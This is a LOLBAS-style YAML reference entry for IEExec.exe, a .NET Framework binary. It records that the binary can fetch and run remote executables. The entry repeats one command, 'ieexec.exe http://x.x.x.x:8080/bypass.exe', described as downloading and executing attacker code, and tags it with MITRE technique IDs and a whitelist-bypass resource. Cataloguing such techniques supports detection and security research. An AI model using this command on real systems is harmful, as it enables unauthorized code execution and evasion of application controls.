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Name: Ieexec.exe
Description: The IEExec.exe application is an undocumented Microsoft .NET Framework application that is included with the .NET Framework. You can use the IEExec.exe application as a host to run other managed applications that you start by using a URL.
Author: 'Oddvar Moe'
Created: '2018-05-25'
Commands:
  - Command: ieexec.exe http://x.x.x.x:8080/bypass.exe 
    Description: Downloads and executes bypass.exe from the remote server.
    Usecase: Download and run attacker code from remote location
    Category: Download
    Privileges: User
    MitreID: T1105
    MitreLink: https://attack.mitre.org/wiki/Technique/T1105
    OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
  - Command: ieexec.exe http://x.x.x.x:8080/bypass.exe 
    Description: Downloads and executes bypass.exe from the remote server.
    Usecase: Download and run attacker code from remote location
    Category: Execute
    Privileges: User
    MitreID: T1218
    MitreLink: https://attack.mitre.org/wiki/Technique/T1218
    OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
Full Path:
  - Path: C:\Windows\Microsoft.NET\Framework\v2.0.50727\ieexec.exe
  - Path: C:\Windows\Microsoft.NET\Framework64\v2.0.50727\ieexec.exe
Code Sample: 
  - Code:
Detection:
  - IOC: 
Resources:
  - Link: https://room362.com/post/2014/2014-01-16-application-whitelist-bypass-using-ieexec-dot-exe/
Acknowledgement:
  - Person: Casey Smith
    Handle: '@subtee'
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